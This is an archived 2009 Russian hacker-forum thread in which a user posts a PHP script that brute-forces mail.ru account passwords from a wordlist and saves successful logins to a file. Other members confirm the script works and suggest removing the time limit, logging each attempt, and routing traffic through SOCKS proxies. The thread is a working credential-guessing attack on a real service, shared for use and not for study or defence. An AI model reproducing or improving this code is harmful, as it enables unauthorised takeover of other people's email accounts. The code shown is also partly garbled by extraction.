Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Давести php до ума. (https://forum.antichat.xyz/showthread.php?t=107217)

dewwil 20.02.2009 20:10

Давести php до ума.
 
Как доделать этот скрипт до нормального брута? Может у кого есть норм брут. Был бы очень благодарен.
PHP код:

<?php 
$login
="login";
$domain="mail.ru";
$at="@";
 
$xfile = @file("pass.txt");
for (
$i=0;$i<count($xfile);$i++)
{
$pass trim($xfile[$i]);
$hostname "win.mail.ru"
$path "/cgi-bin/auth"
$fp fsockopen($hostname,80); 
if(!
$fp){
echo
"А****ть!";
}
else{ 
$data "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1\r\n\r\n"// отправляемые даные!
$headers "POST $path HTTP/1.1\r\n"
$headers .= "Host: $hostname\r\n"
$headers .= "Connection: close\r\n"
$headers .= "User-Agent: Opera/9.20 (Windows NT 6.0; U; en)\r\n"
$headers .= "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n"
$headers .= "Accept-Language: en-us,en;q=0.5\r\n"
$headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n"
$headers .= "Referer: $hostname\r\n"
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n"
// вставишь свои куки ток аони не нужны...гг
//$headers .= "Cookie:\r\n"; 
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n"

fputs($fp,$headers.$data); 

while(!
feof($fp))
 {
 
$file_saper=fread($fp,1000);
     if (
eregi("Location",$file_saper))  
{  
$fp=fopen("good.txt","a");
fputs($fp,"$login$at$domain;$pass\n");
fclose($fp);


echo
"Нашелся пароль уже... все ..мож дальше не искать!";
exit;
 }
 }
}
}  
fclose($fp); 


?>


fatalo 20.02.2009 20:18

dewwil,а чем тебя этот вариант не устраивает?
Раcкомментируй код до конца
Мои рекомендации:
Добавить сет_тайм_лимит(не у всех он установлен на "бесконечность")

fatalo 20.02.2009 20:25

А код рабочий,только что проверил на своем ящике

dewwil 20.02.2009 20:27

А как впихать туда многопоточность и соксы?

Zedi 20.02.2009 20:34

Многопоточность никак, в PHP нет многопоточности, а соксы в полезных скриптах выкладывали класс для работы с ними

fatalo 20.02.2009 20:35

Zedi,сейчас набежит много много народу и начнет спорит насчет многопоточности на пыхе :))

dewwil 20.02.2009 20:39

а как зделать сет_тайм_лимит?

fatalo 20.02.2009 20:52

PHP код:

<?php 
set_time_limit
(0); 
$login="antichat"
$domain="mail.ru";

Кусочек твоего кода с изменениями.Я бы добавил еще,что бы после каждой неудачной попытки выводилось примерно следующее:
Цитата:

Попытка номер 1 неудачна
Попытка номер 2 неудачна
Попытка номер 3 неудачна
Попытка номер 4 неудачна
Попытка номер 5 неудачна
Это удобно,да и дописать всего 4 строчки

AdReNa1!Ne 20.02.2009 20:54

Многопоточность - неблокирующие сокеты. но это жуткий гемор, ну нах.

dewwil 20.02.2009 20:58

чета запускаю скрипт а мне выдает
Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in /home/www/xxx.100webspace.net/sws.php on line 11

Warning: fsockopen() [function.fsockopen]: unable to connect to win.mail.ru:80 (Unknown error) in /home/www/xxx.100webspace.net/sws.php on line 11


Время: 16:41